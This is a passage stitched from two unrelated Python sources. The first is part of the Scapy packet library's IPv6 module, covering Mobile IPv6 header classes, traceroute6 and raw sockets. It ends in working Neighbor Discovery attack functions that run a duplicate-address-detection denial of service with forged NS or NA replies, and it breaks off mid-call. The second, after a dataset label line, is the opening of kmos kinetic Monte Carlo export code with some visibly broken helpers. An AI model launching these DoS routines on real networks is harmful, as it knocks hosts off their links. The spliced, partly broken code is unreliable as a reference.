conf.raw_layer) elif type == 140: # Node Info Reply specific stuff code = ord(p[1]) if code == 0: if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 2: ICMPv6NIReplyName, 3: ICMPv6NIReplyIPv6, 4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP) elif code == 1: cls = ICMPv6NIReplyRefuse elif code == 2: cls = ICMPv6NIReplyUnknown return cls ############################################################################# ############################################################################# ### Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) ### ############################################################################# ############################################################################# # Mobile IPv6 ICMPv6 related classes class ICMPv6HAADRequest(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Request' fields_desc = [ ByteEnumField("type", 144, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() class ICMPv6HAADReply(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Reply' fields_desc = [ ByteEnumField("type", 145, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15), IP6ListField('addresses', None) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() def answers(self, other): if not isinstance(other, ICMPv6HAADRequest): return 0 return self.id == other.id class ICMPv6MPSol(_ICMPv6): name = 'ICMPv6 Mobile Prefix Solicitation' fields_desc = [ ByteEnumField("type", 146, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), XShortField("res", 0) ] def _hashret(self): return struct.pack("!H",self.id) class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = 'ICMPv6 Mobile Prefix Advertisement' fields_desc = [ ByteEnumField("type", 147, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}), XBitField("res", 0, 14) ] def hashret(self): return struct.pack("!H",self.id) def answers(self, other): return isinstance(other, ICMPv6MPSol) # Mobile IPv6 Options classes _mobopttypes = { 2: "Binding Refresh Advice", 3: "Alternate Care-of Address", 4: "Nonce Indices", 5: "Binding Authorization Data", 6: "Mobile Network Prefix (RFC3963)", 7: "Link-Layer Address (RFC4068)", 8: "Mobile Node Identifier (RFC4283)", 9: "Mobility Message Authentication (RFC4285)", 10: "Replay Protection (RFC4285)", 11: "CGA Parameters Request (RFC4866)", 12: "CGA Parameters (RFC4866)", 13: "Signature (RFC4866)", 14: "Home Keygen Token (RFC4866)", 15: "Care-of Test Init (RFC4866)", 16: "Care-of Test (RFC4866)" } class _MIP6OptAlign: """ Mobile IPv6 options have alignment requirements of the form x*n+y. This class is inherited by all MIPv6 options to help in computing the required Padding for that option, i.e. the need for a Pad1 or PadN option before it. They only need to provide x and y as class parameters. (x=0 and y=0 are used when no alignment is required)""" def alignment_delta(self, curpos): x = self.x ; y = self.y if x == 0 and y ==0: return 0 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class MIP6OptBRAdvice(_MIP6OptAlign, Packet): name = 'Mobile IPv6 Option - Binding Refresh Advice' fields_desc = [ ByteEnumField('otype', 2, _mobopttypes), ByteField('olen', 2), ShortField('rinter', 0) ] x = 2 ; y = 0# alignment requirement: 2n class MIP6OptAltCoA(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Alternate Care-of Address' fields_desc = [ ByteEnumField('otype', 3, _mobopttypes), ByteField('olen', 16), IP6Field("acoa", "::") ] x = 8 ; y = 6 # alignment requirement: 8n+6 class MIP6OptNonceIndices(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Nonce Indices' fields_desc = [ ByteEnumField('otype', 4, _mobopttypes), ByteField('olen', 16), ShortField('hni', 0), ShortField('coni', 0) ] x = 2 ; y = 0 # alignment requirement: 2n class MIP6OptBindingAuthData(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Binding Authorization Data' fields_desc = [ ByteEnumField('otype', 5, _mobopttypes), ByteField('olen', 16), BitField('authenticator', 0, 96) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963 name = 'NEMO Option - Mobile Network Prefix' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), ByteField("olen", 18), ByteField("reserved", 0), ByteField("plen", 64), IP6Field("prefix", "::") ] x = 8 ; y = 4 # alignment requirement: 8n+4 class MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" fields_desc = [ ByteEnumField("otype", 7, _mobopttypes), ByteField("olen", 7), ByteEnumField("ocode", 2, _rfc4068_lla_optcode), ByteField("pad", 0), MACField("lla", ETHER_ANY) ] # Only support ethernet x = 0 ; y = 0 # alignment requirement: none class MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283 name = "MIPv6 Option - Mobile Node Identifier" fields_desc = [ ByteEnumField("otype", 8, _mobopttypes), FieldLenField("olen", None, length_of="id", fmt="B", adjust = lambda pkt,x: x+1), ByteEnumField("subtype", 1, {1: "NAI"}), StrLenField("id", "", length_from = lambda pkt: pkt.olen-1) ] x = 0 ; y = 0 # alignment requirement: none # We only support decoding and basic build. Automatic HMAC computation is # too much work for our current needs. It is left to the user (I mean ... # you). --arno class MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5) name = "MIPv6 Option - Mobility Message Authentication" fields_desc = [ ByteEnumField("otype", 9, _mobopttypes), FieldLenField("olen", None, length_of="authdata", fmt="B", adjust = lambda pkt,x: x+5), ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", 2: "MN-AAA authentication mobility option"}), IntField("mspi", None), StrLenField("authdata", "A"*12, length_from = lambda pkt: pkt.olen-5) ] x = 4 ; y = 1 # alignment requirement: 4n+1 # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. class NTPTimestampField(LongField): epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) def i2repr(self, pkt, x): if x < ((50*31536000)<<32): return "Some date a few decades ago (%d)" % x # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to # January 1st 1970 : delta = -2209075761 i = int(x >> 32) j = float(x & 0xffffffff) * 2.0**-32 res = i + j + delta from time import strftime t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res)) return "%s (%d)" % (t, x) class MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6) name = "MIPv6 option - Replay Protection" fields_desc = [ ByteEnumField("otype", 10, _mobopttypes), ByteField("olen", 8), NTPTimestampField("timestamp", 0) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6) name = "MIPv6 option - CGA Parameters Request" fields_desc = [ ByteEnumField("otype", 11, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none # XXX TODO: deal with CGA param fragmentation and build of defragmented # XXX version. Passing of a big CGAParam structure should be # XXX simplified. Make it hold packets, by the way --arno class MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1) name = "MIPv6 option - CGA Parameters" fields_desc = [ ByteEnumField("otype", 12, _mobopttypes), FieldLenField("olen", None, length_of="cgaparams", fmt="B"), StrLenField("cgaparams", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2) name = "MIPv6 option - Signature" fields_desc = [ ByteEnumField("otype", 13, _mobopttypes), FieldLenField("olen", None, length_of="sig", fmt="B"), StrLenField("sig", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3) name = "MIPv6 option - Home Keygen Token" fields_desc = [ ByteEnumField("otype", 14, _mobopttypes), FieldLenField("olen", None, length_of="hkt", fmt="B"), StrLenField("hkt", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4) name = "MIPv6 option - Care-of Test Init" fields_desc = [ ByteEnumField("otype", 15, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5) name = "MIPv6 option - Care-of Test" fields_desc = [ ByteEnumField("otype", 16, _mobopttypes), FieldLenField("olen", None, length_of="cokt", fmt="B"), StrLenField("cokt", '\x00'*8, length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptUnknown(_MIP6OptAlign, Packet): name = 'Scapy6 - Unknown Mobility Option' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none moboptcls = { 0: Pad1, 1: PadN, 2: MIP6OptBRAdvice, 3: MIP6OptAltCoA, 4: MIP6OptNonceIndices, 5: MIP6OptBindingAuthData, 6: MIP6OptMobNetPrefix, 7: MIP6OptLLAddr, 8: MIP6OptMNID, 9: MIP6OptMsgAuth, 10: MIP6OptReplayProtection, 11: MIP6OptCGAParamsReq, 12: MIP6OptCGAParams, 13: MIP6OptSignature, 14: MIP6OptHomeKeygenToken, 15: MIP6OptCareOfTestInit, 16: MIP6OptCareOfTest } # Main Mobile IPv6 Classes mhtypes = { 0: 'BRR', 1: 'HoTI', 2: 'CoTI', 3: 'HoT', 4: 'CoT', 5: 'BU', 6: 'BA', 7: 'BE', 8: 'Fast BU', 9: 'Fast BA', 10: 'Fast NA' } # From http://www.iana.org/assignments/mobility-parameters bastatus = { 0: 'Binding Update accepted', 1: 'Accepted but prefix discovery necessary', 128: 'Reason unspecified', 129: 'Administratively prohibited', 130: 'Insufficient resources', 131: 'Home registration not supported', 132: 'Not home subnet', 133: 'Not home agent for this mobile node', 134: 'Duplicate Address Detection failed', 135: 'Sequence number out of window', 136: 'Expired home nonce index', 137: 'Expired care-of nonce index', 138: 'Expired nonces', 139: 'Registration type change disallowed', 140: 'Mobile Router Operation not permitted', 141: 'Invalid Prefix', 142: 'Not Authorized for Prefix', 143: 'Forwarding Setup failed (prefixes missing)', 144: 'MIPV6-ID-MISMATCH', 145: 'MIPV6-MESG-ID-REQD', 146: 'MIPV6-AUTH-FAIL', 147: 'Permanent home keygen token unavailable', 148: 'CGA and signature verification failed', 149: 'Permanent home keygen token exists', 150: 'Non-null home nonce index expected' } class _MobilityHeader(Packet): name = 'Dummy IPv6 Mobility Header' overload_fields = { IPv6: { "nh": 135 }} def post_build(self, p, pay): p += pay l = self.len if self.len is None: l = (len(p)-8)/8 p = p[0] + struct.pack("B", l) + p[2:] if self.cksum is None: cksum = in6_chksum(135, self.underlayer, p) else: cksum = self.cksum p = p[:4]+struct.pack("!H", cksum)+p[6:] return p class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg name = "IPv6 Mobility Header - Generic Message" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", None, mhtypes), ByteField("res", None), XShortField("cksum", None), StrLenField("msg", "\x00"*2, length_from = lambda pkt: 8*pkt.len-6) ] # TODO: make a generic _OptionsField class _MobilityOptionsField(PacketListField): __slots__ = ["curpos"] def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:],self.m2i(pkt, s[:l]) def i2len(self, pkt, i): return len(self.i2m(pkt, i)) def m2i(self, pkt, x): opt = [] while x: o = ord(x[0]) # Option type cls = self.cls if moboptcls.has_key(o): cls = moboptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, conf.raw_layer): x = op.payload.load del(op.payload) else: x = "" return opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return "".join(map(str, x)) curpos = self.curpos s = "" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) pstr = str(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class MIP6MH_BRR(_MobilityHeader): name = "IPv6 Mobility Header - Binding Refresh Request" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 0, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("res2", None), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 8, length_from = lambda pkt: 8*pkt.len) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: BRR, BU and BA have the same hashret that returns the same # value "\x00\x08\x09" (concatenation of mhtypes). This is # because we need match BA with BU and BU with BRR. --arno return "\x00\x08\x09" class MIP6MH_HoTI(_MobilityHeader): name = "IPv6 Mobility Header - Home Test Init" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 1, mhtypes), ByteField("res", None), XShortField("cksum", None), StrFixedLenField("reserved", "\x00"*2, 2), StrFixedLenField("cookie", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 16, length_from = lambda pkt: 8*(pkt.len-1)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie class MIP6MH_CoTI(MIP6MH_HoTI): name = "IPv6 Mobility Header - Care-of Test Init" mhtype = 2 def hashret(self): return self.cookie class MIP6MH_HoT(_MobilityHeader): name = "IPv6 Mobility Header - Home Test" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 3, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("index", None), StrFixedLenField("cookie", "\x00"*8, 8), StrFixedLenField("token", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_HoTI) and self.cookie == other.cookie): return 1 return 0 class MIP6MH_CoT(MIP6MH_HoT): name = "IPv6 Mobility Header - Care-of Test" mhtype = 4 def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_CoTI) and self.cookie == other.cookie): return 1 return 0 class LifetimeField(ShortField): def i2repr(self, pkt, x): return "%d sec" % (4*x) class MIP6MH_BU(_MobilityHeader): name = "IPv6 Mobility Header - Binding Update" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 5, mhtypes), ByteField("res", None), XShortField("cksum", None), XShortField("seq", None), # TODO: ShortNonceField FlagsField("flags", "KHA", 7, "PRMKLHA"), XBitField("reserved", 0, 9), LifetimeField("mhtime", 3), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len - 4) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if isinstance(other, MIP6MH_BRR): return 1 return 0 class MIP6MH_BA(_MobilityHeader): name = "IPv6 Mobility Header - Binding ACK" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 6, mhtypes), ByteField("res", None), XShortField("cksum", None), ByteEnumField("status", 0, bastatus), FlagsField("flags", "K", 3, "PRK"), XBitField("res2", None, 5), XShortField("seq", None), # TODO: ShortNonceField XShortField("mhtime", 0), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len-4) ] overload_fields = { IPv6: { "nh": 135 }} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if (isinstance(other, MIP6MH_BU) and other.mhtype == 5 and self.mhtype == 6 and other.flags & 0x1 and # Ack request flags is set self.seq == other.seq): return 1 return 0 _bestatus = { 1: 'Unknown binding for Home Address destination option', 2: 'Unrecognized MH Type value' } # TODO: match Binding Error to its stimulus class MIP6MH_BE(_MobilityHeader): name = "IPv6 Mobility Header - Binding Error" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 7, mhtypes), ByteField("res", 0), XShortField("cksum", None), ByteEnumField("status", 0, _bestatus), ByteField("reserved", 0), IP6Field("ha", "::"), _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 }} _mip6_mhtype2cls = { 0: MIP6MH_BRR, 1: MIP6MH_HoTI, 2: MIP6MH_CoTI, 3: MIP6MH_HoT, 4: MIP6MH_CoT, 5: MIP6MH_BU, 6: MIP6MH_BA, 7: MIP6MH_BE } ############################################################################# ############################################################################# ### Traceroute6 ### ############################################################################# ############################################################################# class AS_resolver6(AS_resolver_riswhois): def _resolve_one(self, ip): """ overloaded version to provide a Whois resolution on the embedded IPv4 address if the address is 6to4 or Teredo. Otherwise, the native IPv6 address is passed. """ if in6_isaddr6to4(ip): # for 6to4, use embedded @ tmp = inet_pton(socket.AF_INET6, ip) addr = inet_ntop(socket.AF_INET, tmp[2:6]) elif in6_isaddrTeredo(ip): # for Teredo, use mapped address addr = teredoAddrExtractInfo(ip)[2] else: addr = ip _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) return ip,asn,desc class TracerouteResult6(TracerouteResult): __slots__ = [] def show(self): return self.make_table(lambda (s,r): (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! s.hlim, r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+ "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+ "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+ "{ICMPv6EchoReply:%ir,type%}"))) def get_trace(self): trace = {} for s,r in self.res: if IPv6 not in s: continue d = s[IPv6].dst if d not in trace: trace[d] = {} t = not (ICMPv6TimeExceeded in r or ICMPv6DestUnreach in r or ICMPv6PacketTooBig in r or ICMPv6ParamProblem in r) trace[d][s[IPv6].hlim] = r[IPv6].src, t for k in trace.itervalues(): try: m = min(x for x, y in k.itervalues() if y[1]) except ValueError: continue for l in k.keys(): # use .keys(): k is modified in the loop if l > m: del k[l] return trace def graph(self, ASres=AS_resolver6(), **kargs): TracerouteResult.graph(self, ASres=ASres, **kargs) def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, timeout=2, verbose=None, **kargs): """ Instant TCP traceroute using IPv6 : traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None """ if verbose is None: verbose = conf.verb if l4 is None: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) else: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4, timeout=timeout, verbose=verbose, **kargs) a = TracerouteResult6(a.res) if verbose: a.display() return a,b ############################################################################# ############################################################################# ### Sockets ### ############################################################################# ############################################################################# class L3RawSocket6(L3RawSocket): def __init__(self, type = ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): L3RawSocket.__init__(self, type, filter, iface, promisc) # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) def IPv6inIP(dst='203.178.135.36', src=None): _IPv6inIP.dst = dst _IPv6inIP.src = src if not conf.L3socket == _IPv6inIP: _IPv6inIP.cls = conf.L3socket else: del(conf.L3socket) return _IPv6inIP class _IPv6inIP(SuperSocket): dst = '127.0.0.1' src = None cls = None def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): SuperSocket.__init__(self, family, type, proto) self.worker = self.cls(**args) def set(self, dst, src=None): _IPv6inIP.src = src _IPv6inIP.dst = dst def nonblock_recv(self): p = self.worker.nonblock_recv() return self._recv(p) def recv(self, x): p = self.worker.recv(x) return self._recv(p, x) def _recv(self, p, x=MTU): if p is None: return p elif isinstance(p, IP): # TODO: verify checksum if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: if isinstance(p.payload, IPv6): return p.payload return p def send(self, x): return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6)/x) ############################################################################# ############################################################################# ### Neighbor Discovery Protocol Attacks ### ############################################################################# ############################################################################# def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Internal generic helper accepting a specific callback as first argument, for NS or NA reply. See the two specific functions below. """ def is_request(req, mac_src_filter, tgt_filter): """ Check if packet req is a request """ # Those simple checks are based on Section 5.4.2 of RFC 4862 if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): return 0 # Get and compare the MAC address mac_src = req[Ether].src if mac_src_filter and mac_src != mac_src_filter: return 0 # Source must be the unspecified address if req[IPv6].src != "::": return 0 # Check destination is the link-local solicited-node multicast # address associated with target address in received NS tgt = socket.inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) if tgt_filter and tgt != tgt_filter: return 0 received_snma = socket.inet_pton(socket.AF_INET6, req[IPv6].dst) expected_snma = in6_getnsma(tgt) if received_snma != expected_snma: return 0 return 1 if not iface: iface = conf.iface # To prevent sniffing our own traffic if not reply_mac: reply_mac = get_if_hwaddr(iface) sniff_filter = "icmp6 and not ether src %s" % reply_mac sniff(store=0, filter=sniff_filter, lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), prn=lambda x: reply_callback(x, reply_mac, iface), iface=iface) def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages sent from the unspecified address and sending a NS reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NS sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the unspecified address (::). - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. """ def ns_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS by sending a similar NS """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt) sendp(rep, iface=iface, verbose=0) print "Reply NS for target address %s (received from %s)" % (tgt, mac) _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, tgt_filter, reply_mac) def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, reply_mac=None): """ Perform the DAD DoS attack using NS described in section 4.1.3 of RFC 3756. This is done by listening incoming NS messages *sent from the unspecified address* and sending a NA reply for the target address, leading the peer to believe that another node is also performing DAD for that address. By default, the fake NA sent to create the DoS uses: - as target address the target address found in received NS. - as IPv6 source address: the target address found in received NS. - as IPv6 destination address: the link-local solicited-node multicast address derived from the target address in received NS. - the mac address of the interface as source (or reply_mac, see below). - the multicast mac address derived from the solicited node multicast address used as IPv6 destination address. - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled with the mac address used as source of the NA. Following arguments can be used to change the behavior: iface: a specific interface (e.g. "eth0") of the system on which the DoS should be launched. If None is provided conf.iface is used. mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. Only NS messages received from this source will trigger replies. This allows limiting the effects of the DoS to a single target by filtering on its mac address. The default value is None: the DoS is not limited to a specific mac address. tgt_filter: Same as previous but for a specific target IPv6 address for received NS. If the target address in the NS message (not the IPv6 destination address) matches that address, then a fake reply will be sent, i.e. the emitter will be a target of the DoS. reply_mac: allow specifying a specific source mac address for the reply, i.e. to prevent the use of the mac address of the interface. This address will also be used in the Target Link-Layer Address option. """ def na_reply_callback(req, reply_mac, iface): """ Callback that reply to a NS with a NA """ # Let's build a reply and send it mac = req[Ether].src dst = req[IPv6].dst tgt = req[ICMPv6ND_NS].tgt rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst) rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) sendp(rep, iface=iface
codeparrot/github-code-clean
#!/usr/bin/env python """ Features front-end import/export functions for kMC Projects. Currently import and export is supported to XML and export is supported to Fortran 90 source code. """ # Copyright 2009-2013 Max J. Hoffmann (mjhoffmann@gmail.com) # This file is part of kmos. # # kmos is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # kmos is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with kmos. If not, see <http://www.gnu.org/licenses/>. import itertools import operator import shutil import os import sys import copy import numpy as np from pprint import pformat from kmos.types import ConditionAction, SingleLatIntProcess, Coord from kmos.config import APP_ABS_PATH from kmos.types import cmp_coords from kmos.utils import evaluate_template import collections def _casetree_dict(dictionary, indent='', out=None): """ Recursively prints nested dictionaries.""" # Fortran90 always expects the default branch # at the end of a 'select case' statement. # Thus we use reversed() to move the 'default' # branch from the beginning to the end. for key, value in reversed(list(dictionary.iteritems())): if isinstance(value, dict): if isinstance(key, Coord): out.write('%sselect case(get_species(cell%s))\n' % (indent, key.radd_ff())) _casetree_dict(value, indent + ' ', out) out.write('%send select\n' % indent) else: if key != 'default': # allowing for or in species keys = ', '.join(map(lambda x: x.strip(), key.split(' or '))) out.write('%scase(%s)\n' % (indent, keys)) _casetree_dict(value, indent + ' ', out) else: out.write('%scase %s\n' % (indent, key)) _casetree_dict(value, indent + ' ', out) else: out.write(indent+'%s = %s; return\n' % (key, value)) def _print_dict(dictionary, indent = ''): """ Recursively prints nested dictionaries.""" for key, value in dictionary.iteritems(): if isinstance(value, dict): print('%s%s:' % (indent, key) ) _print_dict(value, indent+' ') else: print(indent+'%s = %s' %(key, value)) def _flatten(L): return [item for sublist in L for item in sublist] def _chop_line(outstr, line_length=100): if len(outstr) < line_length : return outstr outstr_list = [] while outstr: try: NEXT_BREAK = outstr.index(',', line_length) + 1 except ValueError: NEXT_BREAK = len(outstr) outstr_list.append(outstr[:NEXT_BREAK] + '&\n' ) outstr = outstr[NEXT_BREAK:] return ''.join(outstr_list) def compact_deladd_init(modified_process, out): n = len(modified_processes) out.write('integer :: n\n') out.write('integer, dimension(%s, 4) :: sites, cells\n\n' % n) def compact_deladd_statements(modified_processes, out, action): n = len(modified_processes) processes = [] sites = np.zeros((n, 4), int) cells = np.zeros((n, 4), int) for i, (process, offset) in enumerate(modified_procs): cells[i, :] = np.array(offset + [0]) sites[i, :] = np.array(offset + [1]) out.write('do n = 1, %s\n' % (n + 1)) out.write(' call %s_proc(nli_%s(cell + %s), cell + %s)\n' % ()) out.write('enddo\n') def _most_common(L): # thanks go to Alex Martelli for this function # get an iterable of (item, iterable) pairs SL = sorted((x, i) for i, x in enumerate(L)) groups = itertools.groupby(SL, key=operator.itemgetter(0)) # auxiliary function to get "quality" for an item def _auxfun(g): item, iterable = g count = 0 min_index = len(L) for _, where in iterable: count += 1 min_index = min(min_index, where) return count, - min_index # pick the highest-count/earliest item return max(groups, key=_auxfun)[0] class ProcListWriter(): """Write the different parts of Fortran 90 code needed to run a kMC model. """ def __init__(self, data, dir): self.data = data self.dir = dir def write_template(self, filename, target=None, options=None): if target is None: target = filename from kmos.utils import evaluate_template with open(os.path.join(os.path.dirname(__file__), 